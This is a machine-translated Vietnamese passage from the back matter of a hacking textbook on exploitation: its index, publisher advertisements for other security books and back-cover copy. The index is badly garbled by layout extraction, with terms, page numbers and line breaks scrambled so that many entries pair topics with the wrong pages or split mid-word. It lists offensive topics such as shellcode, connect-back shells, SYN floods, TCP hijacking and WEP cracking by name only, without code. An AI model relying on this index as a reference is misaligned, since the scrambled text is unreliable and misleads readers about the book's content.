230 trình đánh hơi ổ cắm thô,
quét cổng), 264
226–227 mạng, 195 phát hiện lưu
Đạo luật Không trộm cắp điện tử, 118
lượng bất thường, 354–
359
trạng thái lượng tử không trực giao, trong
photon, 395 ký
tự không in được, in ấn, 133
Từ chối dịch vụ, 251–
258
tấn công khuếch đại, 257 tấn
NOP (không hoạt động) xe trượt tuyết, 140,
145, 275, 317, 332, 390
công DoS phân tán, 258 tấn công ping,
ẩn, 362–
363 giữa mã
257 tấn công ping of
trình tải và shellcode, 373 không
death, 256
bằng toán tử (!=),
SYN flood, 252–
256 teardrop,
14 không phải toán tử (!), 14 chương
256 hacking, 272–
trình notesearch.c, 93–
96
280 phân tích với GDB,
khai thác, 386–
387 lỗ hổng chuỗi định
273–275 shellcode liên kết cổng,
dạng, 189–190 lỗ hổng tràn bộ
278–280 đánh hơi mạng, 224–
251 đánh hơi
đệm, 137–142
chủ động, 239–251 lớp giải mã,
230–239 trình đánh hơi
libpcap, 228–230 trình đánh hơi
socket thô, 226–
227
chương trình notetaker.c, 91–93, 150–
155 chương
trình ghi chú, 82 hàm ntohl() ,
Các lớp OSI cho trình duyệt web,
217–224
203 hàm ntohs() , 203, 206
byte null, 38–39, 290
lớp liên kết dữ liệu, 218–
219
lớp mạng, 220–
221 lớp vận
và khai thác bộ đệm, 335 lấp
chuyển, 221–
224
đầy bộ đệm khai thác bằng, 275 xóa,
Mô hình OSI, quét cổng 196–
198, 264–272
Quét FIN, X-mas và null, quét nhàn
rỗi 264–
265, phòng thủ chủ động 265–
290–
295
Con trỏ NULL, 77 lần
quét null, 264–
265 sàng
trường số (NFS), 404 số, giả ngẫu
nhiên, 101–102 giá trị số, 41–
43
266, mồi nhử giả mạo 267–272, quét
SYN ẩn 265, 264
Nyberg, Claes, 407, 454
MỤC LỤC 465
Machine Translated by Google
Ồ
pad, 395 tệp
Chế độ truy cập O_APPEND, chương
trình objdump 84 , 21, 184, 185
Chế độ truy cập O_CREAT, 84, 87 lỗi sai
mật khẩu, 153 ma trận
xác suất mật khẩu, 424–433 bẻ khóa mật khẩu, 418–
433 tấn công
từ điển, 419–422 tấn
lệch một, 116–117 các miếng đệm
công vũ phu cạn kiệt, 422–423 bảng
một lần, 395 mật khẩu
tra cứu băm, 423–424 độ dài của, 422
một lần, 258 thuật toán băm
một lần,
một chiều, để mã hóa mật khẩu, 153 tệp mở, mô
258 biến môi trường PATH, 172 buôn
tả tệp để tham chiếu, 82
lậu tải trọng, 359–
hàm open() , 87, 336–337 mô tả tệp
cho, 82 cờ được
sử dụng với, 84 độ dài của chuỗi, 83
363 pcalc (máy
tính của lập trình viên), 42, 454 thư viện
pcap, 229 hàm pcap_fatal() , 228 hàm
pcap_lookupdev() , 228 hàm pcap_loop() ,
235, 236
Hạt nhân OpenBSD phân
mảnh các gói IPv6, 256 ngăn xếp không
thể thực thi, 376
OpenSSH, 116–117 gói
openssh, 414 tối ưu hóa, 6
hoặc hướng dẫn, 293
Toán tử OR, 14–
15 cho cờ
truy cập tệp, 84
Chế độ truy cập O_RDONLY, 84
Chế độ truy cập O_RDWR, 84
Mô hình OSI, 196–198 lớp
cho trình duyệt web, 217–224 lớp liên kết
dữ liệu, 218–219 lớp mạng, 220–
221 lớp vận chuyển, 221–
224
Chế độ truy cập O_TRUNC, 84 kết nối
đi, tường lửa và, 314 chương trình
hàm pcap_next() , 235
hàm pcap_open_live() , 229, 261
chương trình pcap_sniff.c, 228 dấu
phần trăm (%), cho tham số định dạng,
48 Perl, 133 quyền cho tệp, 87–
88 hàm perror() , 83 photon, trạng thái
lượng tử không trực giao trong,
395 lớp vật lý (OSI), 196, 197 cho
trình duyệt web,
218 nguyên
lý chuồng bồ câu, 425 ngập ping,
257 ping of death, 256
tiện ích ping, 221 văn bản thuần túy, cho cấu
trúc giao thức,
208 hàm play_the_game() , 156–
157 PLT
(bảng liên kết thủ tục),
190 con trỏ, đến cấu trúc
sockaddr , 201 số học
con trỏ, 52–
53 hủy tham
overflow_example.c, 119 con trỏ hàm tràn,
156–167
tràn bộ đệm. Xem tràn bộ đệm chế độ
chiếu biến con trỏ,
53 ép kiểu, 52 chương trình pointer.c, 44 con
trỏ, 24–
25, 43–47 hàm, 100–
101 đến cấu trúc,
98
truy cập O_WDONLY, 84 chủ sở hữu, của
tệp, 87
P
công cụ tiêm gói tin, 242–
248 chương
trình bắt gói tin, 224 gói tin, 196, 198
bắt gói tin, 225 lớp
giải mã, 230–239
kiểm tra, 359 giới hạn kích
chương trình pointer_types.c, 52
thước, 221
chương trình pointer_types2.c, 53–
54 chương
trình pointer_types3.c, 55
466 MỤC LỤC
Machine Translated by Google
chương trình pointer_types4.c, 56 chương
mã hóa sản phẩm, 399 lập
trình pointer_types5.c, 57 mã lệnh ASCII
trình truy cập vào
có thể in đa hình, 366–
376
heap, 70 như một biểu
hướng dẫn pop , 287 và
cấu trúc điều
hiện nghệ thuật, 2 cơ bản, 6–7
khiển, 8–
11 if-then-else, 8–9
ASCII có thể in, 368 popping, 70
quét cổng, 264–
vòng lặp while/until,
272
9–
10 biến, 11–12 chương trình,
Quét FIN, X-mas và null, quét nhàn
rỗi 264–
265, phòng thủ chủ động 265–
kết quả từ, 116 chế
độ hỗn tạp, 224 chụp trong, 229 mã
giả, 7, 9
266, mồi nhử giả mạo 267–
272, quét
SYN ẩn 265, công cụ quét
cổng 264 (nmap), shellcode
Thuật toán tạo ngẫu nhiên giả (PRGA), 435, 436
số ngẫu nhiên giả, 101–102 khóa
liên kết cổng 264, 278–
280, 303–
314
công khai, 400 thẻ đục lỗ, 2 lệnh đẩy , 287, 298
cổng, quyền root để liên kết, 216 mã độc lập vị
trí, 286 kiến trúc bộ xử lý PowerPC, 20
và ASCII có thể in được, 368 đẩy,
chương trình ppm_crack.c, 428–
433 chương trình
ppm_gen.c, 426–
428 lớp trình bày (OSI), 196
70
PRGA (Thuật toán tạo ngẫu nhiên giả),
Pythagore, 3
435, 436 lệnh in (GDB), 31 lỗi in, 83 mã
lệnh ASCII có thể in, đa hình, 366–376 ký tự có
Hỏi
thể in, chương trình để tính
toán, 369 chương trình
quadword, chuyển đổi doubleword
thành, 302 thuật toán phân
printable_helper.c,
369–370 tệp printable.s, 371–
372 hàm
tích lượng tử, 404–
405
printf() , 19–20, 35, 37, 47
định dạng chuỗi cho, 48–
51, 167 in các ký tự
không thể in, 133
hàm print_ip() , 254 khóa riêng, 400 quyền, 273,
phân phối khóa lượng tử, 395–
396 thuật toán tìm
kiếm lượng tử, 399–
400 dấu ngoặc kép ("), để bao
gồm các tệp, 91
299 chương trình priv_shell.s,
301 xác suất, có điều kiện, 114 giải quyết vấn
đề bằng hack, 1–2 hack như, 5 bảng liên
kết thủ tục (PLT), 190 phần mở đầu thủ tục, 71 quy
R
RainbowCrack, 433 hàm
trình, tạm dừng dòng điện, 158
rand() , 101 chương trình
chiếm quyền điều
rand_example.c, 101–102 số ngẫu nhiên, 101–
102
khiển quy trình, 118 bộ
ngẫu nhiên hóa, hàm execl() và, 390,
xử lý, đặc thù ngôn ngữ lắp ráp
391 không gian ngăn xếp ngẫu nhiên, 379–
391 trình
cho, 7
đánh hơi ổ
cắm thô, 226–
227 chương trình raw_tcpsniff.c,
226–
227 RC4 (mã hóa luồng), 398, 434,
435–
436 hàm read() , mô tả tệp cho, 82 quyền
đọc, 87 quyền chỉ đọc, cho phân đoạn văn
bản, 69
MỤC LỤC 467
Machine Translated by Google
sinh sản, 192 sinh
Hiệp hội công nghiệp thu âm
America (RIAA), 3 hàm
sản với tiến trình con, 346 người dùng, 88
Bảo mật dữ
recv() , 199, 206 hàm recv_line() ,
209, 273, 335, 342 tấn công chuyển hướng,
240–
241
đăng ký, 23, 285, 292 hiển thị, 24
liệu RSA, 394, 400, 404 RST chiếm đoạt, 259–
263 chương trình rst_hijack.c,
260–
263 sửa đổi, 268
cho bộ xử lý x86, 23 đưa về
0, với shellcode
thời gian chạy của thuật toán đơn giản, 397
đa hình, 366 số nguyên tố
tương đối, 400 phần dư, sau khi
S
chia, 12 truy cập
từ xa, đến shell gốc, 317 mục tiêu từ
Tham số định dạng %s , 48, 172 Sâu
Sadmind, 117 giá trị muối,
xa, 321
153–
154 để mã hóa mật
khẩu, 419 Sâu Sasser, 319 Con trỏ khung
Yêu cầu bình luận (RFC) 768, về tiêu đề
UDP, 224 791, về tiêu đề IP, 220,
232 793, về tiêu đề TCP, 222–
223, 233–
234 lệnh ret , 132, 287 ret2libc, 376–
377
địa chỉ trả
về, 70 tìm vị trí chính xác, 139
ghi đè, 135 trong khung
ngăn xếp, 131 lệnh trả
về , 267
đã lưu (SFP), 70, 72–
73, 130 Mảng hộp S, 435 Hàm scanf() , 50
Phạm vi biến,
62–
69 Chương trình
scope.c, 62 Chương trình
scope2.c, 63–
64 Chương trình
scope3.c, 64–
65 Tập lệnh
Kiddies, 3 Sáng kiến âm nhạc kỹ
thuật số an toàn (SDMI), 3 Dấu vân
tay máy chủ khác nhau
của Secure Shell (SSH), 410–
413 Bảo vệ
chống lại
Quyền trả lại vật liệu
(RMA), 221 giá
trị trả về của hàm, khai báo hàm với kiểu dữ
liệu là, 16–
17 RFC. Xem Yêu cầu bình
luận
việc giả mạo danh tính,
409–
410 Lớp ổ cắm an toàn (SSL), 393
Bảo vệ
chống lại việc giả mạo danh tính, 409–
410 Lỗ hổng bảo mật thay
đổi, 388 Tính toán, 396 Tác động của lỗi,
(RFC)
118 Vô điều kiện, 394
RIAA (Hiệp hội Công nghiệp Ghi âm Hoa Kỳ), 3
Rieck, Konrad, 413, 454
RMA (Ủy quyền Trả lại Tài liệu),
221 Ronnick, Jose, 454
số hạt giống, cho chuỗi số ngẫu nhiên, 101 lỗi
gốc rễ
quyền, 153, 273 để liên
kết cổng, 216 shell để
khôi phục, 301 shell
phân đoạn, 60, 61 dấu
chấm phẩy (;), cho kết thúc lệnh, 8
hàm send() , 199, 206 hàm send_string() , 209 lệnh
seq , 141 số thứ tự, cho TCP,
thu thập, 188 tràn
để mở, 122 truy cập từ xa,
317 tái sử dụng ổ cắm,
355–
359
468 MỤC LỤC
222, 224 ví dụ máy chủ, hiển thị dữ
liệu gói, 204
Machine Translated by Google
lớp phiên (OSI), 196 cho trình
duyệt web, 217 thiết lập
Giao thức truyền thư đơn giản (SMTP),
222 chương trình
lệnh intel tháo rời , 25 thiết lập quyền ID
simplenote.c, 82–
84 tệp simple_server.c,
người dùng (setuid) , 89 hàm seteuid() , 299
204–
207 hàm sizeof() , 58 macro
lệnh gọi hệ thống
sizeof() (C), 42 Sklyarov,
setresuid() , 300–
301 hàm setsockopt() ,
Dmitry, 3–4 SMTP (Giao thức
205
truyền thư đơn giản), 222
SFP (con trỏ khung đã lưu), 70
các cuộc tấn công smurf, 257 các gói
Shannon, Claude, 394 lệnh
shell, thực thi chức năng tương tự, 134
shellcode, 137,
281
tin đánh hơi đang
hoạt động, 239–
251 ở
chế độ hỗn tạp, 225
cấu trúc sockaddr ,
tham số là tùy chọn vị trí, 365 ngôn ngữ lắp
ráp cho, 282–
286 kết nối lại, 314–
318
tạo, 286–
295 nhảy tới, 386
200–
202, 305, 306 con trỏ tới, 201
cấu trúc sockaddr_in , 348 hàm socket() , 199,
200, 205, 314 lệnh
hàm memcpy() để sao
gọi hệ thống socketcall()
chép, 139 vị trí
(Linux), 304 tệp socket_reuse_restore.s, 357
bộ nhớ cho, 142 ghi đè phần .dtors
socket, 198–217, 307
bằng địa chỉ của phần được tiêm,
190 đặt trong biến môi trường, 188
ASCII có thể in đa hình, 366–
376 liên kết cổng, 278–
280,
303–
314 bằng
chứng hoạt động, 336 giảm kích thước,
298 khôi
chuyển đổi địa chỉ, 203 địa
chỉ, 200–
202 mô tả tệp
cho kết nối được chấp nhận, 206
chức năng, 199–200
tái sử dụng, 355–359 ví
phục thực thi daemon tinyweb, 345 tạo
dụ máy chủ, 203–207
shell, 295–
303 và máy chủ web,
máy chủ tinyweb, 213–
217 máy
332 đặt thanh ghi về
khách web, 207–
213
0, 294 chương trình shellcode.s,
302–
303 Shor,
Peter, 404–
405 từ khóa ngắn ,
vi phạm bản quyền phần
mềm, 118 Solar Designer, 422,
42 ghi ngắn, để khai
454 Song, Dug, 226, 249, 454
thác chuỗi định dạng, 182–
địa chỉ nguồn, thao túng, 239 sổ đăng ký
183 biểu thức viết tắt, để toán tử số
Source Index (ESI), 24 bộ xử lý Sparc,
học, 13–
14 chương trình
20 giả mạo, 239–
240 địa
shroud.c, 268–
272 hàm
chỉ IP đã ghi, 348–
352
sigint_handler() , 323 tín hiệu
SIGKILL , 324 hàm
signal() , 322 chương trình
nội dung gói, 263 hàm sprintf() ,
262 hàm srand() , 101 SSH.
Xem Secure Shell (SSH)
signal_example.c, 322–
323 hàm
signal_handler() , 323 tín hiệu,
cho giao tiếp giữa các tiến trình
trong Unix, 322–
324
giá trị số có dấu, 41
SSL (Lớp cổng bảo mật), 393 biện pháp bảo
vệ chống lại việc giả mạo danh
tính, 409–
410 ngăn xếp,
40, 70, 128
đối số để gọi hàm trong, 339 hướng dẫn lắp
ráp sử dụng, 287–289
MỤC LỤC 469
Machine Translated by Google
ngăn xếp, khung
tiếp tục , 70, 74,
128 hiển thị các biến cục bộ trong,
hàm strncasecmp() , 213 hàm
strstr() , 216 cấu trúc,
96–100 truy cập
vào các phần tử, 98 lệnh
66 hướng dẫn để thiết lập và
xóa các cấu trúc, 341
su , 88 lệnh con ,
tăng trưởng
293, 294 thao tác con , 25
của, 75 bộ nhớ
lệnh sudo , 88, 90
trong, 77 không thể thực thi,
chồng chập, 399–
400 quy
376–
379 không gian ngẫu nhiên,
trình bị treo, quay lại,
379–
391 vai trò với chuỗi định
158 môi trường mạng chuyển mạch, các gói
dạng, 169 phân đoạn, 70
tin trong, 239 mã hóa đối xứng, 398–
biến số
400
khai báo, 76
và độ tin cậy của shellcode, 356
thanh ghi Stack Pointer (ESP), 24, 33,
Cờ SYN, 223
SYN ngập lụt, 252–
256 ngăn
70, 73
shellcode và, 367
ngừa, 255
Quét SYN
ngăn chặn rò rỉ thông tin với, 268
chương trình stack_example.c, 71–75
stealth,
Stallman, Richard, 3
264
lỗi chuẩn, 307 đầu vào
chuẩn, 307, 358 thư viện
syncookies, 255
đầu vào/đầu ra (I/O) chuẩn, 19 đầu
tệp synflood.c, 252–
254 tệp
ra chuẩn,
sys/stat.h, 84 cờ
bit được xác định trong,
307 bộ nhớ hàm tĩnh,
tham chiếu con trỏ chuỗi, 228 từ khóa tĩnh ,
75 biến tĩnh, 66–69
87 lệnh gọi hệ thống, trang hướng dẫn
cho, 283 daemon hệ thống, 321–
328 hàm system() , 148–
149 trả
về, 377–
379
địa chỉ bộ nhớ, 69 phân
đoạn bộ nhớ cho, 69 chương
trình static.c, 67
chương trình static2.c,
T
TCP. Xem Giao thức điều khiển truyền (TCP)
tcpdump, 224, 226 BPF
68 cờ trạng thái, thao tác cmp để thiết
lập, 311 đối số
stderr , 79 tệp tiêu
đề stdio , 19 tàng hình,
bởi tin tặc, 320 quét
SYN tàng hình, 264 lệnh stepi
(GDB), 384 không gian lưu trữ, so với
cho, 259 mã nguồn cho,
230 cấu trúc
tcphdr (Linux), 234 TCP/IP,
197 kết nối, telnet tới máy chủ web,
208 chiếm đoạt,
258–263 ngăn xếp, nỗ lực tràn
SYN để làm cạn kiệt
sức mạnh
tính toán, 424 chương trình strace, 336–
338, 352–
353 hàm
trạng thái, 252 hàm
tcp_v4_send_reset() , 267 teardrop, 256 telnet,
207, 222 để
strcat() , 121 hàm strcpy() , 39–
41, 365 mã hóa luồng,
398 ổ cắm luồng, 198, 222
string.h, 39
chuỗi, 38–41
nối chuỗi trong Perl, 134 mã
hóa, 359–
362 hàm
strlen() , 83, 121, 209
470 MỤC LỤC
mở kết nối TCP/IP tới máy chủ web, 208 biến
tạm thời, từ lệnh
in , 31
Machine Translated by Google
đoạn văn bản, của bộ nhớ, 69 từ khóa
Chương trình uid_demo.c, 90
then , 8–9 trường
lệnh ulimit , 289 lệnh
th_flags , của cấu trúc tcphdr , 234 hàm time() ,
uname , 134 toán tử đơn
97 chương trình
phân toán tử địa
time_example.c, 97 chương trình
time_example2.c, 98–
99 biến time_ptr , 97 tấn
công đánh đổi thời gian/
không gian, 424 hàm timestamp() , 352 chương
chỉ của, 45 toán tử hủy tham
chiếu, 47, 50 lệnh nhảy không điều
kiện, trong ngôn ngữ lắp ráp, 36 bảo mật
không điều kiện,
trình tiny_shell.s, 298–299 chương
394 truyền dữ liệu không được mã
trình tinyweb.c chuyển đổi thành daemon
hóa, 226 bộ ký tự Unicode, 117 trang hướng
hệ thống, 321 dưới dạng
dẫn hệ thống Unix, 283 tín hiệu
daemon, 324–328 khai thác cho, 275 lỗ hổng
cho giao tiếp
trong, 273 chương trình
giữa các tiến trình,
tinywebd.c, 325–
328,
322–324 thời gian bật, 97 từ
355 công cụ khai thác, 329–
333 tệp nhật ký, 334 chương trình
khóa không dấu , 42 giá trị số
không dấu, 41
tinyweb_exploit.c, 275 chương
trình
tinyweb_exploit2.c, 278 cấu trúc tm time,
số nguyên cho địa chỉ con trỏ, 57 mạng
97 trình dịch, cho ngôn ngữ máy, 7 Giao thức
không chuyển mạch, 224 vòng
điều khiển truyền
lặp until, 10
tệp update_info.c, 363–364 hàm
usage() , 82 Giao thức
(TCP), 198, 222 kết
nối để truy cập shell từ xa, 308–309
dữ liệu người dùng (UDP), 198–199, 222,
224
gói tin echo, các cuộc tấn công khuếch đại
cờ, 222 mở
kết nối, 314 tiêu đề gói, 233–
với, 257 ID
người dùng, 88–96
234 đánh hơi, với ổ cắm thô,
hiển thị các ghi chú được viết bởi,
226 cấu trúc, 231
93 thiết lập hiệu quả,
299 người dùng, quyền tệp cho, 87
lớp vận chuyển (OSI), 196, 197
cho trình duyệt web, 217, 221–224
Triple-DES, 399 bù
hai, 42, 49
để xóa các byte null, 291
typecasting, 51–58 từ
con trỏ tm struct thành con trỏ số
nguyên, 98
typecasting.c program, 51
typedef, 245
đầu vào do người dùng cung cấp, kiểm tra độ dài hoặc
hạn chế trên, 120
Tệp /usr/include/asm-i386/unistd.h, 284–285
Tệp /usr/
include/asm/socket.h, 205 Tệp /usr/include/bits/
socket.h, 200, 201 Tệp /usr/include/
if_ether.h,
230 Tệp /usr/include/linux/if_ethernet.h,
230 Tệp /usr/include/netinet/ip.h, 230, 231–
232
con trỏ không có kiểu,
56 kiểu. Xem các kiểu dữ liệu
/usr/include/netinet/tcp.h tập tin, 230, 233–234
Bạn
Tệp /usr/include/stdio.h, 19 Tệp /
UDP (Giao thức dữ liệu người dùng), 198–
199, 222, 224
gói tin echo, tấn công khuếch đại với, 257
usr/include/sys/sockets.h, 199 Tệp /usr/include/
time.h, 97 Tệp /usr/include/unistd.h,
284 Tệp /usr/src/mitm-ssh, 407
MỤC LỤC 471
Machine Translated by Google
V
lệnh where , 61
vòng lặp while/until, 9–
10
giá trị
gán cho biến, 12 giá trị trả
Quyền riêng tư tương đương có dây (WEP), 433, 434–
435
về bởi hàm, 16 biến, 11–12
toán tử số học cho, 12–14
Trình biên dịch C và kiểu dữ liệu, 58
toán tử so sánh cho, 14–15 phạm vi, 62–69
cấu trúc, 96–100
tạm thời, từ lệnh
in , 31 ép kiểu, 51–58 từ
tấn công, 436–449 mã
hóa không dây 802.11b, 433–436 từ, 28–29 sâu,
119 Wozniak,
Steve, 3 giao
thức không dây WPA,
448 hàm write() , 83 mô tả tệp cho,
82 trang hướng dẫn cho,
283 con trỏ cho, 92 quyền
khóa void , 56 để
ghi, 87
khai báo hàm, 17
cho đoạn văn bản, 69
con trỏ void (C), 56, 57 chương
trình vuln.c, 377 lỗ hổng
chuỗi định dạng, 170–171 trong
X
Tham số định dạng %x , 171, 173 tùy chọn
phần mềm, 451–452 dựa trên
độ rộng trường, 179 lệnh x/
ngăn xếp, 122–133 trong
3xw , 61 bộ xử lý x86,
chương trình tinyweb.c, 273 VML
20, 23–
25 hướng dẫn lắp ráp cho,
ngày thứ không, 119
285 hướng dẫn xchg (trao đổi), 312 quét
X-mas, 264–265 hướng dẫn xor , 293, 294 tập
T
lệnh xtool_tinywebd_reuse.sh,
cảnh báo, về kiểu dữ liệu con trỏ, 54 trình duyệt
web, các lớp OSI cho, 217–
224 máy khách web, 207–
358 tập lệnh xtool_tinywebd.sh,
333 tập lệnh xtool_tinywebd_silent.sh, 353–
354
213 yêu cầu web, xử lý sau
khi xâm nhập, 336 máy chủ web telnet cho
TCP/IP
tập lệnh xtool_tinywebd_spoof.sh, 349–350
kết nối tới, 208 máy chủ
tinyweb, 213–217 tệp
tập lệnh xtool_tinywebd_stealth.sh, 335
webserver_id.c, 212–213 WEP (Bảo mật
Z
tương đương có dây), 433, 434–
435
thanh ghi zeroing, 294
Thanh ghi EAX (Accumulator), 368 với
tấn công, 436–449
472 MỤC LỤC
shellcode đa hình, 366
Machine Translated by Google
Machine Translated by Google
Thêm nhiều sách No-Nonsense từ
KHÔNG CÓ TINH BỘT ÉP
SỰ IM LẶNG TRÊN DÂY
Hướng dẫn thực địa về trinh sát thụ động và tấn công gián tiếp
bởi MICHAL ZALEWSKI
Sự im lặng trên dây: Hướng dẫn thực địa về trinh sát thụ động và tấn công gián tiếp
giải thích cách thức hoạt động của máy tính và mạng, cách thông tin được xử lý và phân phối, và những
mối đe dọa bảo mật nào ẩn núp trong bóng tối. Không phải là sách trắng kỹ thuật nhàm chán hay hướng
dẫn bảo vệ mạng, cuốn sách này là một câu chuyện hấp dẫn khám phá nhiều thách thức bảo mật độc đáo,
không phổ biến và thường khá tinh tế, thách thức sự phân loại và tránh mô hình kẻ tấn công-nạn nhân
truyền thống.
THÁNG 4 NĂM 2005, 312 trang, 39,95 đô la
Mã số 978-1-59327-046-9
TRỰC QUAN HÓA DỮ LIỆU BẢO MẬT
Kỹ thuật đồ họa cho phân tích mạng
bởi GREG CONTI
Security Data Visualization là phần giới thiệu được nghiên cứu kỹ lưỡng và minh họa
phong phú về lĩnh vực trực quan hóa thông tin, một nhánh của khoa học máy tính liên
quan đến việc mô hình hóa dữ liệu phức tạp bằng hình ảnh tương tác. Greg Conti, người
sáng tạo ra công cụ trực quan hóa mạng và bảo mật RUMINT, sẽ chỉ cho bạn cách lập
biểu đồ và hiển thị dữ liệu mạng bằng nhiều công cụ khác nhau để bạn có thể hiểu được
các tập dữ liệu phức tạp chỉ trong nháy mắt. Và sau khi bạn đã thấy một cuộc tấn công
mạng trông như thế nào, bạn sẽ hiểu rõ hơn về hành vi cấp thấp của nó—
giống như cách khai thác lỗ hổng và cách sâu và vi-rút lây lan.
THÁNG 9 NĂM 2007, 272 TRANG, 4 MÀU, 49,95 đô la
Mã số 978-1-59327-143-5
TƯỜNG LỬA LINUX
Phát hiện và phản hồi tấn công với iptables, psad và fwsnort
bởi MICHAEL RASH
Tường lửa Linux thảo luận về các chi tiết kỹ thuật của tường lửa iptables và khung
Netfilter được tích hợp vào hạt nhân Linux và giải thích cách chúng cung cấp khả năng
lọc mạnh mẽ, Biên dịch địa chỉ mạng (NAT), theo dõi trạng thái và kiểm tra lớp ứng
dụng có thể sánh ngang với nhiều công cụ thương mại. Bạn sẽ tìm hiểu cách triển khai
iptables dưới dạng IDS với psad và fwsnort và cách xây dựng lớp xác thực thụ động
mạnh mẽ xung quanh iptables với fwknop. Các ví dụ cụ thể minh họa các khái niệm như
phân tích nhật ký tường lửa và chính sách, xác thực và ủy quyền mạng thụ động, theo
dõi gói khai thác, mô phỏng bộ quy tắc Snort, v.v.
THÁNG 10 NĂM 2007, 336 trang, 49,95 đô la
Mã số 978-1-59327-141-1
Machine Translated by Google
NGHỆ THUẬT LẮP RÁP NGÔN NGỮ
bởi RANDALL HYDE
The Art of Assembly Language trình bày ngôn ngữ lắp ráp theo quan điểm của lập trình viên cấp cao, do
đó bạn có thể bắt đầu viết các chương trình có ý nghĩa trong vòng vài ngày. High Level Assembler (HLA)
đi kèm với cuốn sách là trình lắp ráp đầu tiên cho phép bạn viết các chương trình ngôn ngữ lắp ráp di
động chạy trên Linux hoặc Windows mà không cần biên dịch lại. Đĩa CD-ROM bao gồm HLA và Thư viện
chuẩn HLA, tất cả mã nguồn từ cuốn sách và hơn 50.000 dòng mã mẫu bổ sung, tất cả đều được ghi chép và
thử nghiệm đầy đủ. Mã biên dịch và chạy nguyên trạng trên Windows và Linux.
THÁNG 9 NĂM 2003, 928 trang. Có đĩa CD, $59,95
Mã số 978-1-886411-97-5
HƯỚNG DẪN TCP/IP
Tài liệu tham khảo toàn diện, minh họa về giao thức Internet
bởi CHARLES M. KOZIEROK
TCP/IP Guide là tài liệu tham khảo bách khoa toàn thư hoàn toàn mới về bộ giao
thức TCP/IP, sẽ hấp dẫn cả người mới bắt đầu và những người chuyên nghiệp dày dạn kinh
nghiệm. Tác giả Charles Kozierok trình bày chi tiết các giao thức cốt lõi giúp mạng
lưới TCP/IP hoạt động và các ứng dụng TCP/IP cổ điển quan trọng nhất, tích hợp phạm vi
phủ sóng IPv6 trong suốt. Hơn 350 hình minh họa và hàng trăm bảng giúp giải thích
những điểm tinh tế hơn của chủ đề phức tạp này.
Phong cách viết thân thiện với người dùng của cuốn sách giúp độc giả ở mọi cấp độ
hiểu được hàng chục giao thức và công nghệ vận hành Internet, bao gồm đầy đủ thông tin
về PPP, ARP, IP, IPv6, IP NAT, IPSec, Mobile IP, ICMP, RIP, BGP, TCP, UDP, DNS, DHCP,
SNMP, FTP, SMTP, NNTP, HTTP, Telnet và nhiều hơn nữa.
THÁNG 10 NĂM 2005, 1616 Trang bìa cứng, $89,95
Mã số 978-1-59327-047-6
ĐIỆN THOẠI:
E-MAIL:
800.420.7240 HOẶC
SALES@NOSTARCH.COM
415.863.9900
TỪ THỨ HAI ĐẾN THỨ SÁU,
TRANG WEB:
9 giờ sáng đến 5 giờ chiều (PST)
WWW.NOSTARCH.COM
FAX:
415.863.9950
24 GIỜ MỘT NGÀY,
7 NGÀY MỘT TUẦN
THƯ:
KHÔNG CÓ TINH BỘT ÉP
555 DE HARO ST, PHÒNG 250
SAN FRANCISCO, CA 94107
Hoa Kỳ
Machine Translated by Google
CẬP NHẬT
Truy cập http://www.nostarch.com/hacking2.htm để cập nhật, sửa lỗi và các thông tin khác
thông tin.
GIỚI THIỆU VỀ CD
LiveCD có thể khởi động cung cấp một môi trường hack dựa trên Linux được cấu hình
sẵn để lập trình, gỡ lỗi, thao tác lưu lượng mạng và bẻ khóa mã hóa. Nó chứa tất cả mã
nguồn và ứng dụng được sử dụng trong sách. Hacking là về khám phá và đổi mới, và với
LiveCD này, bạn có thể ngay lập tức làm theo các ví dụ trong sách và tự mình khám phá.
LiveCD có thể sử dụng trên hầu hết các máy tính cá nhân thông thường mà không
cần cài đặt hệ điều hành mới hoặc sửa đổi thiết lập hiện tại của máy tính.
Yêu cầu hệ thống là máy tính chạy hệ điều hành x86 có ít nhất 64MB bộ nhớ hệ thống và
BIOS được cấu hình để khởi động từ đĩa CD-ROM.
24
6
= ------
3
1– -
4
Machine Translated by Google
Machine Translated by Google
Sách bán chạy nhất quốc tế!
các kỹ thuật cơ bản của hacker nghiêm túc
Hacking là nghệ thuật giải quyết vấn đề sáng tạo, dù
j Đánh lừa các biện pháp bảo mật thông thường như không
là tìm ra giải pháp phi truyền thống cho một vấn đề
ngăn xếp thực thi và hệ thống phát hiện xâm nhập
khó hay khai thác lỗ hổng trong lập trình cẩu thả. Nhiều
người tự gọi mình là hacker, nhưng ít người có nền tảng kỹ
thuật vững chắc cần thiết để thực sự vượt qua giới hạn.
Thay vì chỉ cho thấy cách chạy các khai thác hiện có,
tác giả Jon Erickson giải thích cách các kỹ thuật hack bí
ẩn thực sự hoạt động. Để chia sẻ nghệ thuật và khoa học
j Truy cập vào máy chủ từ xa bằng cách sử dụng shellcode
liên kết cổng hoặc kết nối lại và thay đổi hành vi ghi
nhật ký của máy chủ để ẩn sự hiện diện của bạn
j Chuyển hướng lưu lượng mạng, che giấu các cổng mở và chiếm
đoạt các kết nối TCP
j Bẻ khóa lưu lượng không dây được mã hóa bằng FMS
hack theo cách mà mọi người đều có thể tiếp cận, Hacking:
tấn công và tăng tốc các cuộc tấn công bằng cách sử dụng
The Art of Exploitation, Phiên bản 2 giới thiệu các nguyên
ma trận xác suất mật khẩu
tắc cơ bản của lập trình C theo quan điểm của một hacker.
Tin tặc luôn luôn đẩy mạnh ranh giới, điều tra những điều
chưa biết và phát triển nghệ thuật của họ. Ngay cả khi bạn
LiveCD đi kèm cung cấp môi trường lập trình và gỡ lỗi
chưa biết cách lập trình, Hacking: The Art of Exploitation,
Linux hoàn chỉnh mà không cần phải sửa đổi hệ điều hành
Phiên bản 2 sẽ cung cấp cho bạn bức tranh toàn cảnh về
hiện tại của bạn.
lập trình, kiến trúc máy, truyền thông mạng và các kỹ
Sử dụng nó để theo dõi các ví dụ trong sách khi bạn lấp
thuật hack hiện có. Kết hợp kiến thức này với môi
đầy khoảng trống kiến thức và tự mình khám phá các kỹ
trường Linux đi kèm, và tất cả những gì bạn cần là sự sáng
thuật
0
You can add this document to your study collection(s)
Sign in Available only to authorized usersYou can add this document to your saved list
Sign in Available only to authorized users(For complaints, use another form )